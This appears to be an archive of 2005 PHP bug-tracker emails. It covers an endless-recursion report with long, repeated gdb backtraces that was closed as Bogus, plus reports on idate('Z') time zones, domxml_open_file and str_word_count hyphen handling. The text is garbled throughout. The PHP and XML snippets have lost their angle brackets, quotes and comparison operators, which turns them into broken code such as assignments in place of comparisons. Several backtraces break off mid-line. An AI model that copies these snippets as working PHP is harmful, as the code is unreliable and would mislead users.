file2: test2.php
?php
/* check if $res1 is fits inside $res2 */
function resolution_check ($res1 = '', $res2 = '') {
global $im_resize_res_max, $im_resize_res_min;
if (!strchr ($res1, 'x') || !strchr ($res2, 'x')) //
invalid resolutions
return -1;
// check if not too big or too small image
if (resolution_check ($res1, $im_resize_res_max) != 1)
return -2;
if (resolution_check ($res1, $im_resize_res_min) == 1)
return -3;
list ($x1, $y1) = explode ('x', $res1, 2);
list ($x2, $y2) = explode ('x', $res2, 2);
$x1 = (int) $x1;
$x2 = (int) $x2;
$y1 = (int) $y1;
$y2 = (int) $y2;
if ($x1 = 0 || $x2 = 0 || $y1 = 0 || $y2 = 0) //
invalid
return -1;
if ($x2 = $x1 $y2 = $y1) // match
return 1;
return 0;
}
?
when i run test.php it never completes. same time if i copy this
function to same source file it worked.
Unfortunately i dont have gdb access right now. If you cannot reporduce
it i will deal with administration about it.
[2005-11-24 16:19:01] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
I can't see any crashes or exits with this code.
The remainder of the comments for this report are
#35367 [Opn]: php exits (crashes?) on function call inside same function
ID: 35367
User updated by: andrus at wap3 dot net
Reported By: andrus at wap3 dot net
Status: Open
Bug Type: Unknown/Other Function
Operating System: Debian Linux
PHP Version: 5.1.0, 4.4.1
New Comment:
bt full
#0 execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1097
execute_data = {opline = 0x83f88fc, function_state =
{function_symbol_table = 0x0, function = 0x83f78e8, reserved = {0x20,
0x865e5c4, 0x838c7fc, 0xbf269728}}, fbc = 0x0, ce = 0x0,
object = {ptr = 0x0}, Ts = 0xbf268dec, original_in_execution = 1
'\001', op_array = 0x83f78e8, prev_execute_data = 0xbf26a030}
#1 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865e2b4
original_return_value = (zval **) 0xbf26a254
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e564, function = 0x83f78e8, reserved =
{0x20, 0x865e314, 0x838c7fc, 0xbf26a088}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26974c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26a990}
#2 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865e004
original_return_value = (zval **) 0xbf26abb4
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e2b4, function = 0x83f78e8, reserved =
{0x20, 0x865e064, 0x838c7fc, 0xbf26a9e8}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26a0ac,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26b2f0}
#3 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865dd54
original_return_value = (zval **) 0xbf26b514
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e004, function = 0x83f78e8, reserved =
{0x20, 0x865ddb4, 0x838c7fc, 0xbf26b348}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26aa0c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26bc50}
#4 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865daa4
original_return_value = (zval **) 0xbf26be74
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865dd54, function = 0x83f78e8, reserved =
{0x20, 0x865db04, 0x838c7fc, 0xbf26bca8}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26b36c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26c5b0}
#5 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865d7f4
original_return_value = (zval **) 0xbf26c7d4
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865daa4, function = 0x83f78e8, reserved =
{0x20, 0x865d854, 0x838c7fc, 0xbf26c608}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26bccc,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26cf10}
#6 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865d544
original_return_value = (zval **) 0xbf26d134
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865d7f4, function = 0x83f78e8, reserved =
{0x20, 0x865d5a4, 0x838c7fc, 0xbf26cf68}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26c62c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26d870}
#7 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865d294
original_return_value = (zval **) 0xbf26da94
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865d544, function = 0x83f78e8, reserved =
{0x20, 0x865d2f4, 0x838c7fc, 0xbf26d8c8}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26cf8c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26e1d0}
#8 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865cfe4
original_return_value = (zval **) 0xbf26e3f4
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
#35367 [Opn-Bgs]: php exits (crashes?) on function call inside same function
ID: 35367
Updated by: [EMAIL PROTECTED]
Reported By: andrus at wap3 dot net
-Status: Open
+Status: Bogus
Bug Type: Unknown/Other Function
Operating System: Debian Linux
PHP Version: 5.1.0, 4.4.1
New Comment:
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
You have an endless recursion somewhere in your code.
Previous Comments:
[2005-11-27 14:32:02] andrus at wap3 dot net
bt full
#0 execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1097
execute_data = {opline = 0x83f88fc, function_state =
{function_symbol_table = 0x0, function = 0x83f78e8, reserved = {0x20,
0x865e5c4, 0x838c7fc, 0xbf269728}}, fbc = 0x0, ce = 0x0,
object = {ptr = 0x0}, Ts = 0xbf268dec, original_in_execution = 1
'\001', op_array = 0x83f78e8, prev_execute_data = 0xbf26a030}
#1 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865e2b4
original_return_value = (zval **) 0xbf26a254
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e564, function = 0x83f78e8, reserved =
{0x20, 0x865e314, 0x838c7fc, 0xbf26a088}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26974c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26a990}
#2 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865e004
original_return_value = (zval **) 0xbf26abb4
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e2b4, function = 0x83f78e8, reserved =
{0x20, 0x865e064, 0x838c7fc, 0xbf26a9e8}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26a0ac,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26b2f0}
#3 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865dd54
original_return_value = (zval **) 0xbf26b514
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e004, function = 0x83f78e8, reserved =
{0x20, 0x865ddb4, 0x838c7fc, 0xbf26b348}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26aa0c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26bc50}
#4 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865daa4
original_return_value = (zval **) 0xbf26be74
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865dd54, function = 0x83f78e8, reserved =
{0x20, 0x865db04, 0x838c7fc, 0xbf26bca8}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26b36c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26c5b0}
#5 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865d7f4
original_return_value = (zval **) 0xbf26c7d4
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865daa4, function = 0x83f78e8, reserved =
{0x20, 0x865d854, 0x838c7fc, 0xbf26c608}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26bccc,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26cf10}
#6 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865d544
original_return_value = (zval **) 0xbf26d134
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865d7f4, function = 0x83f78e8, reserved =
{0x20, 0x865d5a4, 0x838c7fc, 0xbf26cf68}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26c62c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26d870}
#7 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865d294
original_return_value = (zval **) 0xbf26da94
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865d544, function = 0x83f78e8, reserved =
{0x20, 0x865d2f4, 0x838c7fc, 0xbf26d8c8}}, fbc = 0x83f78e8,
ce =
#35367 [Bgs]: php exits (crashes?) on function call inside same function
ID: 35367
User updated by: andrus at wap3 dot net
Reported By: andrus at wap3 dot net
Status: Bogus
Bug Type: Unknown/Other Function
Operating System: Debian Linux
PHP Version: 5.1.0, 4.4.1
New Comment:
bah, did you look the code at all (test.php and test2.php)?
Previous Comments:
[2005-11-27 14:37:03] [EMAIL PROTECTED]
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
You have an endless recursion somewhere in your code.
[2005-11-27 14:32:02] andrus at wap3 dot net
bt full
#0 execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1097
execute_data = {opline = 0x83f88fc, function_state =
{function_symbol_table = 0x0, function = 0x83f78e8, reserved = {0x20,
0x865e5c4, 0x838c7fc, 0xbf269728}}, fbc = 0x0, ce = 0x0,
object = {ptr = 0x0}, Ts = 0xbf268dec, original_in_execution = 1
'\001', op_array = 0x83f78e8, prev_execute_data = 0xbf26a030}
#1 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865e2b4
original_return_value = (zval **) 0xbf26a254
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e564, function = 0x83f78e8, reserved =
{0x20, 0x865e314, 0x838c7fc, 0xbf26a088}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26974c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26a990}
#2 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865e004
original_return_value = (zval **) 0xbf26abb4
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e2b4, function = 0x83f78e8, reserved =
{0x20, 0x865e064, 0x838c7fc, 0xbf26a9e8}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26a0ac,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26b2f0}
#3 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865dd54
original_return_value = (zval **) 0xbf26b514
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e004, function = 0x83f78e8, reserved =
{0x20, 0x865ddb4, 0x838c7fc, 0xbf26b348}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26aa0c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26bc50}
#4 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865daa4
original_return_value = (zval **) 0xbf26be74
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865dd54, function = 0x83f78e8, reserved =
{0x20, 0x865db04, 0x838c7fc, 0xbf26bca8}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26b36c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26c5b0}
#5 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865d7f4
original_return_value = (zval **) 0xbf26c7d4
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865daa4, function = 0x83f78e8, reserved =
{0x20, 0x865d854, 0x838c7fc, 0xbf26c608}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26bccc,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26cf10}
#6 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865d544
original_return_value = (zval **) 0xbf26d134
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865d7f4, function = 0x83f78e8, reserved =
{0x20, 0x865d5a4, 0x838c7fc, 0xbf26cf68}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26c62c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26d870}
#7 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865d294
original_return_value = (zval **) 0xbf26da94
return_value_used = 1
execute_data = {opline =
#35367 [Bgs]: php exits (crashes?) on function call inside same function
ID: 35367
User updated by: andrus at wap3 dot net
Reported By: andrus at wap3 dot net
Status: Bogus
Bug Type: Unknown/Other Function
Operating System: Debian Linux
PHP Version: 5.1.0, 4.4.1
New Comment:
nevermind,i found
Previous Comments:
[2005-11-27 14:39:40] andrus at wap3 dot net
bah, did you look the code at all (test.php and test2.php)?
[2005-11-27 14:37:03] [EMAIL PROTECTED]
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
You have an endless recursion somewhere in your code.
[2005-11-27 14:32:02] andrus at wap3 dot net
bt full
#0 execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1097
execute_data = {opline = 0x83f88fc, function_state =
{function_symbol_table = 0x0, function = 0x83f78e8, reserved = {0x20,
0x865e5c4, 0x838c7fc, 0xbf269728}}, fbc = 0x0, ce = 0x0,
object = {ptr = 0x0}, Ts = 0xbf268dec, original_in_execution = 1
'\001', op_array = 0x83f78e8, prev_execute_data = 0xbf26a030}
#1 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865e2b4
original_return_value = (zval **) 0xbf26a254
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e564, function = 0x83f78e8, reserved =
{0x20, 0x865e314, 0x838c7fc, 0xbf26a088}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26974c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26a990}
#2 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865e004
original_return_value = (zval **) 0xbf26abb4
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e2b4, function = 0x83f78e8, reserved =
{0x20, 0x865e064, 0x838c7fc, 0xbf26a9e8}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26a0ac,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26b2f0}
#3 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865dd54
original_return_value = (zval **) 0xbf26b514
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865e004, function = 0x83f78e8, reserved =
{0x20, 0x865ddb4, 0x838c7fc, 0xbf26b348}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26aa0c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26bc50}
#4 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865daa4
original_return_value = (zval **) 0xbf26be74
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865dd54, function = 0x83f78e8, reserved =
{0x20, 0x865db04, 0x838c7fc, 0xbf26bca8}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26b36c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26c5b0}
#5 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865d7f4
original_return_value = (zval **) 0xbf26c7d4
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865daa4, function = 0x83f78e8, reserved =
{0x20, 0x865d854, 0x838c7fc, 0xbf26c608}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26bccc,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26cf10}
#6 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table = (HashTable *) 0x865d544
original_return_value = (zval **) 0xbf26d134
return_value_used = 1
execute_data = {opline = 0x83f9040, function_state =
{function_symbol_table = 0x865d7f4, function = 0x83f78e8, reserved =
{0x20, 0x865d5a4, 0x838c7fc, 0xbf26cf68}}, fbc = 0x83f78e8,
ce = 0x0, object = {ptr = 0x0}, Ts = 0xbf26c62c,
original_in_execution = 1 '\001', op_array = 0x83f78e8,
prev_execute_data = 0xbf26d870}
#7 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
calling_symbol_table =
#35425 [NEW]: idate('Z') ignores current time zone
From: tomas_matousek at hotmail dot com
Operating system: WinXP
PHP version: 5.1.0
PHP Bug Type: Date/time related
Bug description: idate('Z') ignores current time zone
Description:
idate('Z') doesn't reflect zone settings by date_default_timezone_set().
That's wrong, isn't it?
Reproduce code:
---
date_default_timezone_set(UTC);
$time = mktime(1,1,1,1,1,2005);
echo idate('Z', $time);
Expected result:
0
Actual result:
--
3600 // my system setting is +1 GMT
--
Edit bug report at http://bugs.php.net/?id=35425edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35425r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=35425r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=35425r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=35425r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=35425r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=35425r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=35425r=needscript
Try newer version: http://bugs.php.net/fix.php?id=35425r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=35425r=support
Expected behavior: http://bugs.php.net/fix.php?id=35425r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=35425r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=35425r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=35425r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35425r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=35425r=dst
IIS Stability: http://bugs.php.net/fix.php?id=35425r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=35425r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=35425r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=35425r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=35425r=mysqlcfg
#35425 [Opn-Asn]: idate('Z') ignores current time zone
ID: 35425
Updated by: [EMAIL PROTECTED]
Reported By: tomas_matousek at hotmail dot com
-Status: Open
+Status: Assigned
Bug Type: Date/time related
Operating System: WinXP
PHP Version: 5.1.0
-Assigned To:
+Assigned To: derick
New Comment:
Assigned to the author.
Can't reproduce it on Linux, though.
Previous Comments:
[2005-11-27 16:22:52] tomas_matousek at hotmail dot com
Description:
idate('Z') doesn't reflect zone settings by
date_default_timezone_set(). That's wrong, isn't it?
Reproduce code:
---
date_default_timezone_set(UTC);
$time = mktime(1,1,1,1,1,2005);
echo idate('Z', $time);
Expected result:
0
Actual result:
--
3600 // my system setting is +1 GMT
--
Edit this bug report at http://bugs.php.net/?id=35425edit=1
#35416 [Opn-Fbk]: Error reading XML-File with domxml_open_file
ID: 35416 Updated by: [EMAIL PROTECTED] Reported By: pehewa at a1 dot net -Status: Open +Status: Feedback Bug Type: DOM XML related Operating System: Windows (W2K, XP) PHP Version: 4.4.1 New Comment: $navdoc = domxml_open_file(nav_xml); nav_xml looks obviously wrong, as the file is called nav.xml. Previous Comments: [2005-11-27 01:37:27] pehewa at a1 dot net Description: System: Windows W2K or XP with Apache 2.0.54 My PHP-program exists for one year minimum without changes and runs at a provider (Version 4.4.1 - not under Windows) without errors. A valid XML-file nav.xml should be read. The error messages are after execution are: Warning: domxml_open_file(): I/O in C:\pathtophpfile on line x Warning: domxml_open_file(): warning in C:\pathtophpfile on line x Warning: domxml_open_file(): failed to load external entity nav.xml in C:\pathtophpfile on line x php.ini changes: precision = 14 output_buffering = 4096 allow_call_time_pass_reference = Off log_errors = On error_log = C:\php_error.log variables_order = GPCS register_argc_argv = Off magic_quotes_gpc = Off extension_dir = ./extensions extension=php_domxml.dll extension=php_xslt.dll dbx.colnames_case = lowercase session.gc_divisor = 1000 session.bug_compat_42 = 0 url_rewriter.tags = a=href,area=href,frame=src,input=src,form=fakeentry Loaded Modules out of the phpinfo(): core mod_win32 mpm_winnt http_core mod_so mod_access mod_actions mod_alias mod_asis mod_auth mod_autoindex mod_cgi mod_dav mod_dir mod_env mod_imap mod_include mod_isapi mod_log_config mod_mime mod_negotiation mod_setenvif mod_userdir mod_dav_svn mod_authz_svn sapi_apache2 Reproduce code: --- $navdoc = domxml_open_file(nav_xml); File nav.xml: ?xml version=1.0 encoding=ISO-8859-1? navigation items item parent=00 change15.10.2005/change /item /items /navigation Expected result: Getting the correct result (XML-Document Object) as on other Systems with PHP 4.4.1 or on Windows-Systems with PHP 4.3.2. -- Edit this bug report at http://bugs.php.net/?id=35416edit=1
#35427 [NEW]: str_word_count handles '-' incorrectly
From: tomas_matousek at hotmail dot com
Operating system: WinXP
PHP version: 5.1.0
PHP Bug Type: Strings related
Bug description: str_word_count handles '-' incorrectly
Description:
Characters specified in str_word_count() should be treated equally to
letters, right?
This works for apostrophe but doesn't for hyphen.
Reproduce code:
---
var_dump(str_word_count(foo'0 bar-0var, 2, 0));
Expected result:
array(3) {
[0]=
string(5) foo'0
[6]=
string(3) bar0var
}
Actual result:
--
array(3) {
[0]=
string(5) foo'0
[6]=
string(3) bar
[10]=
string(4) 0var
}
--
Edit bug report at http://bugs.php.net/?id=35427edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35427r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=35427r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=35427r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=35427r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=35427r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=35427r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=35427r=needscript
Try newer version: http://bugs.php.net/fix.php?id=35427r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=35427r=support
Expected behavior: http://bugs.php.net/fix.php?id=35427r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=35427r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=35427r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=35427r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35427r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=35427r=dst
IIS Stability: http://bugs.php.net/fix.php?id=35427r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=35427r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=35427r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=35427r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=35427r=mysqlcfg
#35416 [Fbk-Opn]: Error reading XML-File with domxml_open_file
ID: 35416 User updated by: pehewa at a1 dot net Reported By: pehewa at a1 dot net -Status: Feedback +Status: Open Bug Type: DOM XML related Operating System: Windows (W2K, XP) PHP Version: 4.4.1 New Comment: Sorry for making this essential mistake in my first bugreport. The line code should be: $navdoc = domxml_open_file(nav.xml); Previous Comments: [2005-11-27 18:46:41] [EMAIL PROTECTED] $navdoc = domxml_open_file(nav_xml); nav_xml looks obviously wrong, as the file is called nav.xml. [2005-11-27 01:37:27] pehewa at a1 dot net Description: System: Windows W2K or XP with Apache 2.0.54 My PHP-program exists for one year minimum without changes and runs at a provider (Version 4.4.1 - not under Windows) without errors. A valid XML-file nav.xml should be read. The error messages are after execution are: Warning: domxml_open_file(): I/O in C:\pathtophpfile on line x Warning: domxml_open_file(): warning in C:\pathtophpfile on line x Warning: domxml_open_file(): failed to load external entity nav.xml in C:\pathtophpfile on line x php.ini changes: precision = 14 output_buffering = 4096 allow_call_time_pass_reference = Off log_errors = On error_log = C:\php_error.log variables_order = GPCS register_argc_argv = Off magic_quotes_gpc = Off extension_dir = ./extensions extension=php_domxml.dll extension=php_xslt.dll dbx.colnames_case = lowercase session.gc_divisor = 1000 session.bug_compat_42 = 0 url_rewriter.tags = a=href,area=href,frame=src,input=src,form=fakeentry Loaded Modules out of the phpinfo(): core mod_win32 mpm_winnt http_core mod_so mod_access mod_actions mod_alias mod_asis mod_auth mod_autoindex mod_cgi mod_dav mod_dir mod_env mod_imap mod_include mod_isapi mod_log_config mod_mime mod_negotiation mod_setenvif mod_userdir mod_dav_svn mod_authz_svn sapi_apache2 Reproduce code: --- $navdoc = domxml_open_file(nav_xml); File nav.xml: ?xml version=1.0 encoding=ISO-8859-1? navigation items item parent=00 change15.10.2005/change /item /items /navigation Expected result: Getting the correct result (XML-Document Object) as on other Systems with PHP 4.4.1 or on Windows-Systems with PHP 4.3.2. -- Edit this bug report at http://bugs.php.net/?id=35416edit=1
#35421 [Opn-Bgs]: pdo_oci error
ID: 35421
